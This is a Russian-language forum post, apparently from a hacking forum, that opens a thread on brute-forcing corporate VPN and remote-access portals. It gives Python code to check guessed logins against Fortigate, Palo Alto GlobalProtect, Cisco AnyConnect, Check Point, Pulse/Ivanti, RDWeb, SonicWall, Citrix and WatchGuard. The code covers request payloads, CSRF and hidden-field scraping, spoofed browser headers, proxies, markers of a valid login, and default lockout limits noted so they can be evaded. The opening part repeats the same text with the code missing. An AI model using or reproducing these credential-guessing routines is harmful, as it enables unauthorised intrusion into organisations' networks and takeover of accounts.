- Регистрация
- Дек 10, 2025
- Сообщения
- 8
- Реакции
- 12
В этой теме можно обсудить реализации брута впнов и других удаленных точек входа в сеть, способов обхода блокировок, выбор проксей и словарей, и различные вопросы и решения связанные с этой темой, также предлагать свои реализации(скрипты, софты).
Начну с примеров определения валидных учеток, в качестве яп буду использовать Python:
ort/remote/logincheck
Чтобы сформировать правильный post запрос нужно упаковать данные, следующим образом:
Теперь можно отправить запрос и получить ответ:
Хорошо было бы добавлять заголовки(headers) в запрос. Если в теле ответа указан редирект на /remote/hostcheck_install значит, что логин и пароль угаданы верно. Покажу пример такого тела ответа:
'ret=1,redir=/remote/hostcheck_install?auth_type=1&user=скрыто&&grpname=скрыто&portal=скрыто&rip=скрыто&realm='
Стандартные настройки защиты по умолчанию пропускают 2 попытки входа и блокируют возможность аутентификации на 60 секунд. Это все настраивается в индивидуальном порядке админами сетей, диапазон значений блокировки ip адреса - от 0 до 3600 секунд.
На практике я встречал максимальную блокировку на 15 минут.
ort/global-protect/login.esp
Упаковка данных:
После того как отправили post запрос и получили ответ, понять что учетка валидная можно по редиректу на ../global-protect/getsoftwarepage.esp или наличию этого url в теле ответа:
Стандартные значени защитных настроек: 9 попыток и 60 секунд бана ip атакуещего, это все настраивается в индивидуальном порядке админами сетей.
ort/+webvpn+/index.html
Упаковка данных с этим вендором будет зависеть от того есть ли домен/группа для аутентификации, а также обязателен для отправки csrf_token.
Чтобы определить и собрать эти данные, нужно сделать предварительный GET запрос на url https://target/+CSCOE+/logon.html , csrf_token находится в input'е с атрибутом name, со значением csrf_token (input name="csrf_token" ), данный инпут скрыт, поэтому мы не увидим его если откроем страничку в браузере. Значения доменов/групп находятся в тегах option, их может быть несколько, записываем в параметр group_list.
Переходим к упаковке данных для POST запроса:
Также нужно указать в заголовках запроса csrf token:
Теперь отправим post запрос:
Получив ответ, понять что заданная пара кред валидна, можем проверить по наличию строки /+CSCOE+/portal.html в теле ответа. Сюда бы отредиректило, если бы вы вручную в браузере ввели правильные креды.
По настройкам защиты, не нашел информации, если у кого есть админка или найдет информацию, пишите, обновлю пост.
ort/post
Перед упаковкой данных для post запроса, нужно взять значение user_password.timestamp.value, его можно взять из тела ответа get запроса https://target . Вот как выглядит кусок html кода в котором лежит нужное значение:
Теперь упакуем параметры и заголовки (тут используются некоторые обязательные характерные для checkpoint заголовки):
Определить валидность учетки можно простой проверкой строки 'auth_id=' в теле ответа:
Значения по умолчанию защитных настроек: 3 секунды задержки после 1 неудачной попытки; после 3 неудачных попыток - 300 секунд бана ip атакуещего, это все настраивается в индивидуальном порядке админами сетей.
ort/dana-na/auth/url_default/login.cgi
Насчет url_default: у некотрых таргетов вместо default, может быть какое-то значение (url_J54G4W95GLHG например), это значение можно взять из url после редиректа с get запроса на https://target , или из ссылки на логотип таргета из html кода ответа.
Для упаковки данных, в этом случае потребуются все input поля из формы входа, которые берутся также предварительным GET запросом, я предоставлю имплементацию на python которой вы можете воспользоваться:
Также если имеется группа/домен, берем их из тегов option и добавляем к данным для POST запроса, с именем параметра realm
Так, как ответы успешной аутентификации у таргетов бывают нескольких типов а url ответа об ошибке одного типа, можно использовать проверку на то, чтобы '/welcome.cgi?p=failed' не находилась в url ответа:
Значения по умолчанию защитных настроек: 3 неудачные попытки входа в минуту; Период блокировки = 2 минуты, это все настраивается в индивидуальном порядке админами сетей.
ort/RDWeb/Pages/en-US/login.aspx
Предварительно парсим домен/группу из скрытого инпута с именем name="WorkSpaceID" и упаковываем данные:
Отправляем post запрос и если в ответе видим статус код редиректа, то это оказалась валидная учетка:
По умолчанию разрешено неограниченное количество попыток, переменные отвечающие за количество попыток и время бана учетки(по дефолту: 0xb40=2880 минут=2 дня) находятся в реестре HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RemoteAccess\Parameters\AccountLockout : MaxDenials и ResetTime , это все настраивается в индивидуальном порядке админами сетей.
1) url - https://host
ort/__api__/v1/logon
Собираем домены/группы предварительно отправив get запрос на url https://{target}/__api__/v1/config/domains , в ответ получим json данные: нужные ключи - domainName; Запаковка данных:
После отправки post запроса с данными учетной записи, в ответ получим json ответ, понять что учетная запись валидна, можно по ключу status со значением success :
2) url - https://host
ort/cgi-bin/userLogin
Для сбора доменов/групп с такого формата соников, достаточно сделать get запрос на url https://{target}/cgi-bin/welcome и собрать значения всех тегов option. Для упаковки данных потребуется собрать все имена и и значения тегов input и составить словарь. Также в данном случае важно указать заголовки:
Определяем валид по наличую данного url в теле ответа:
По настройкам защиты, не нашел информации, если у кого есть админка или найдет информацию, пишите, обновлю пост
1) для /vpn/index, url - https://host
ort/cgi/login
Упаковка данных:
Определяем валид по наличию данного кукиса NSC_AAAC:
2) для logon/logonpoint , url - https://host
ort/nf/auth/doAuthentication.do
Для упаковки данных потребуются все input'ы из формы аутентификации, которые можно вытащить предварительным get-запросом, спарсив их. Как я понимаю, их может быть разное количество, пример:
Также в post запрос нужно добавить важный заголовок
Определяем валид по наличию данного кукиса NSC_AAAC:
По настройкам защиты, не нашел информации, если у кого есть админка или найдет информацию, пишите, обновлю пост
Payload:
Отправляем запрос:
Проверка. Если валид, то в адресе будет :
Если не валид, то:
Начну с примеров определения валидных учеток, в качестве яп буду использовать Python:
Fortigate SSL-VPN
У фортиков форма отправки паролей ведет на url -https://hostЧтобы сформировать правильный post запрос нужно упаковать данные, следующим образом:
Python:
login, password = 'Jhon', 'P@$$W0RD'
post_params = {'ajax': '1', 'username': login, 'credential': password}
Теперь можно отправить запрос и получить ответ:
Python:
session = requests.Session()
url = 'https://target/remote/logincheck'
response = session.post(url, data=post_params, verify=False, allow_redirects=True)
Хорошо было бы добавлять заголовки(headers) в запрос. Если в теле ответа указан редирект на /remote/hostcheck_install значит, что логин и пароль угаданы верно. Покажу пример такого тела ответа:
'ret=1,redir=/remote/hostcheck_install?auth_type=1&user=скрыто&&grpname=скрыто&portal=скрыто&rip=скрыто&realm='
Стандартные настройки защиты по умолчанию пропускают 2 попытки входа и блокируют возможность аутентификации на 60 секунд. Это все настраивается в индивидуальном порядке админами сетей, диапазон значений блокировки ip адреса - от 0 до 3600 секунд.
На практике я встречал максимальную блокировку на 15 минут.
Palo alto global-protect ssl-vpn
url - https://hostУпаковка данных:
Python:
post_params = {'prot': '', 'server': target,'inputStr': '', 'action': 'getsoftware', 'user': login, 'passwd': password, 'new-passwd': '', 'confirm-new-passwd': '', 'ok': 'Log In'}
После того как отправили post запрос и получили ответ, понять что учетка валидная можно по редиректу на ../global-protect/getsoftwarepage.esp или наличию этого url в теле ответа:
Python:
if '<script>window.location=\"/global-protect/getsoftwarepage.esp?user=\";</script></html>' in response.text:
Стандартные значени защитных настроек: 9 попыток и 60 секунд бана ip атакуещего, это все настраивается в индивидуальном порядке админами сетей.
Cisco Anyconnect (+cscoe+)
url - https://hostУпаковка данных с этим вендором будет зависеть от того есть ли домен/группа для аутентификации, а также обязателен для отправки csrf_token.
Чтобы определить и собрать эти данные, нужно сделать предварительный GET запрос на url https://target/+CSCOE+/logon.html , csrf_token находится в input'е с атрибутом name, со значением csrf_token (input name="csrf_token" ), данный инпут скрыт, поэтому мы не увидим его если откроем страничку в браузере. Значения доменов/групп находятся в тегах option, их может быть несколько, записываем в параметр group_list.
Переходим к упаковке данных для POST запроса:
Python:
# Если домена/группы нет
post_params = {'tgroup': '', 'next': '', 'tgcookieset': '', 'csrf_token': csrf_token, 'username': login, 'password': password, 'Login': 'Login'}
# Если домен/группа есть
post_params = {'tgroup': '', 'next': '', 'tgcookieset': '', 'csrf_token': csrf_token, 'group_list': group, 'username': login, 'password': password, 'Login': 'Login'}
Также нужно указать в заголовках запроса csrf token:
Python:
headers = {'Host':target,'Cookie': f'webvpnlogin=1; webvpnLang=en; CSRFtoken={csrf_token}','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.','Content-Type': 'application/x-www-form-urlencoded','Content-Length': str(len(post_params)),'Origin': f'{target}'}
Теперь отправим post запрос:
Код:
session = requests.Session()
response = session.post(url, data=post_params, headers=headers, verify=False, allow_redirects=False, proxies=proxy)
Получив ответ, понять что заданная пара кред валидна, можем проверить по наличию строки /+CSCOE+/portal.html в теле ответа. Сюда бы отредиректило, если бы вы вручную в браузере ввели правильные креды.
Python:
if '/+CSCOE+/portal.html' in response.text:
По настройкам защиты, не нашел информации, если у кого есть админка или найдет информацию, пишите, обновлю пост.
Check Point SSL VPN (Netextender)
url - https://hostПеред упаковкой данных для post запроса, нужно взять значение user_password.timestamp.value, его можно взять из тела ответа get запроса https://target . Вот как выглядит кусок html кода в котором лежит нужное значение:
HTML:
<script language="JavaScript">try { document.user_password.timestamp.value = "1761667214"; neo_upgrade_mode="0"; neo_upgrade_version=""; neo_upgrade_url=""; neo_saa_guilibs=""; neo_saa_url=""; } catch (e) {} </script>
Теперь упакуем параметры и заголовки (тут используются некоторые обязательные характерные для checkpoint заголовки):
Python:
post_params = {'username': login, 'password': password, 'reauthentication':'0', 'timestamp': time_stamp, 'iSecureId': ''}
headers = {'Host':target,'Cookie': f'host={target}; language=english; skin=skin1','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.','Content-Length': str(len(post_params)),'Content-Type': 'application/x-www-form-urlencoded','Upgrade-Insecure-Requests': '1','Origin': f'https://{target}', 'Referer': f'https://{target}/extender.html', 'Connection': 'keep-alive'}
Определить валидность учетки можно простой проверкой строки 'auth_id=' в теле ответа:
Python:
if 'auth_id=' in response.text:
Значения по умолчанию защитных настроек: 3 секунды задержки после 1 неудачной попытки; после 3 неудачных попыток - 300 секунд бана ip атакуещего, это все настраивается в индивидуальном порядке админами сетей.
Pulse/ivanti(dana-na)
url - https://hostНасчет url_default: у некотрых таргетов вместо default, может быть какое-то значение (url_J54G4W95GLHG например), это значение можно взять из url после редиректа с get запроса на https://target , или из ссылки на логотип таргета из html кода ответа.
Для упаковки данных, в этом случае потребуются все input поля из формы входа, которые берутся также предварительным GET запросом, я предоставлю имплементацию на python которой вы можете воспользоваться:
Python:
url_site = f'https://{target}/dana-na/auth/url_default/welcome.cgi'
request_html = requests.get(url_site, timeout=9, verify=False)
data_parse = {}
for line in request_html.text.split('input')[1:]:
x = line.split('name="')[1].split('"')[0]
if x == 'tz_offset':
data_parse[x] = '-300'
elif x == 'username':
data_parse[x] = login
elif x == 'password':
data_parse[x] = password
elif (x != 'tz_offset') and (x != 'username') and (x != 'password'):
data_parse[x] = line.split('value="')[1].split('">')[0]
else:
data_parse[x] = ''
#print(data_parse)
post_params = data_parse
Также если имеется группа/домен, берем их из тегов option и добавляем к данным для POST запроса, с именем параметра realm
Python:
post_params['realm'] = option
Так, как ответы успешной аутентификации у таргетов бывают нескольких типов а url ответа об ошибке одного типа, можно использовать проверку на то, чтобы '/welcome.cgi?p=failed' не находилась в url ответа:
Python:
if '/welcome.cgi?p=failed' not in response.url:
Значения по умолчанию защитных настроек: 3 неудачные попытки входа в минуту; Период блокировки = 2 минуты, это все настраивается в индивидуальном порядке админами сетей.
Rdweb
url - https://hostПредварительно парсим домен/группу из скрытого инпута с именем name="WorkSpaceID" и упаковываем данные:
Python:
post_params = 'DomainUserName={}%5C{}&UserPass={}'.format(domain, login, password)
Отправляем post запрос и если в ответе видим статус код редиректа, то это оказалась валидная учетка:
Python:
if 302 == response.status_code:
По умолчанию разрешено неограниченное количество попыток, переменные отвечающие за количество попыток и время бана учетки(по дефолту: 0xb40=2880 минут=2 дня) находятся в реестре HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RemoteAccess\Parameters\AccountLockout : MaxDenials и ResetTime , это все настраивается в индивидуальном порядке админами сетей.
SonicWall
Я пока нашел две формы аутентификации:1) url - https://host
Собираем домены/группы предварительно отправив get запрос на url https://{target}/__api__/v1/config/domains , в ответ получим json данные: нужные ключи - domainName; Запаковка данных:
Python:
domains = requests.get(f'https://{target}/__api__/v1/config/domains', timeout=9, verify=False).json()
for domainx in domains:
domainx = domainx['domainName']
post_params = {'userName': login, 'password': password, 'domainName': domainx}
После отправки post запроса с данными учетной записи, в ответ получим json ответ, понять что учетная запись валидна, можно по ключу status со значением success :
Python:
if response.json()['status'] == 'success':
2) url - https://host
Для сбора доменов/групп с такого формата соников, достаточно сделать get запрос на url https://{target}/cgi-bin/welcome и собрать значения всех тегов option. Для упаковки данных потребуется собрать все имена и и значения тегов input и составить словарь. Также в данном случае важно указать заголовки:
Python:
headers = {'Host':target,'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.', 'Content-Type': 'application/x-www-form-urlencoded','Content-Length': str(len(post_params)), 'Accept': 'application/json, text/javascript, */*', 'X-Requested-With': 'XMLHttpRequest', 'Sec-Ch-Ua-Platform': "Linux", 'Sec-Fetch-Site': 'same-origin', 'Sec-Fetch-Mode': 'cors', 'Sec-Fetch-Dest': 'empty', 'Referer': target, 'Accept-Encoding': 'gzip, deflate, br', 'Priority': 'u=1, i', 'Connection': 'keep-alive', 'Origin': f'{target}'}
Определяем валид по наличую данного url в теле ответа:
Python:
if '/cgi-bin/portal' in response.text:
По настройкам защиты, не нашел информации, если у кого есть админка или найдет информацию, пишите, обновлю пост
Сitrix
Я пока нашел две формы аутентификации:1) для /vpn/index, url - https://host
Упаковка данных:
Python:
post_params = {'login': login, 'dummy_username': '', 'dummy_pass1': '', 'passwd': password}
Определяем валид по наличию данного кукиса NSC_AAAC:
Python:
if 'NSC_AAAC' in session.cookies.get_dict():
2) для logon/logonpoint , url - https://host
Для упаковки данных потребуются все input'ы из формы аутентификации, которые можно вытащить предварительным get-запросом, спарсив их. Как я понимаю, их может быть разное количество, пример:
Python:
post_params = {'login': login, 'passwd': password, 'saveCredentials': 'false', 'passwdreset': '0', 'loginBtn': 'Submit', 'StateContext': 'bG9naW5zY2hlbWE9bHNjaGVtYV9wYXNzd29yZF9yZXNldA%3D%3D'}
Также в post запрос нужно добавить важный заголовок
Код:
'X-Citrix-Am-Credentialtypes': 'none, username, domain, password, newpassword, passcode, savecredentials, textcredential, webview, cancelbutton, nsg-epa, negotiate, nsg_push, nsg_push_otp, nf_sspr_rem, nsg-x1, nsg-setclient, nsg-eula, nsg-tlogin, nsg-fullvpn, nsg-hidden, nsg-auth-failure, nsg-auth-success, nsg-epa-success, nsg-l20n, GoBack, nf-recaptcha, ns-dialogue, nf-gw-test, nf-poll, nsg_qrcode, nsg_manageotp'
Определяем валид по наличию данного кукиса NSC_AAAC:
Python:
if 'NSC_AAAC' in session.cookies.get_dict():
По настройкам защиты, не нашел информации, если у кого есть админка или найдет информацию, пишите, обновлю пост
Watchguard SSL VPN
URL для аутентификации - https://{target}/wgcgi.cgiPayload:
Код:
data = {'fw_username': login, 'fw_password': password, 'fw_domain': 'Firebox-DB', 'submit': 'Login', 'action': 'sslvpn_web_logon', 'fw_logon_type': 'logon', 'lang': 'en-US'}
Отправляем запрос:
Код:
ses = requests.Session()
resp = ses.post(f'https://{target}/wgcgi.cgi', verify=False, data=data)
print(resp.url)
Проверка. Если валид, то в адресе будет :
Код:
https://{target}/sslvpn_download.shtml
Если не валид, то:
Код:
https://{target}/sslvpn_logon.shtml?errcode=501

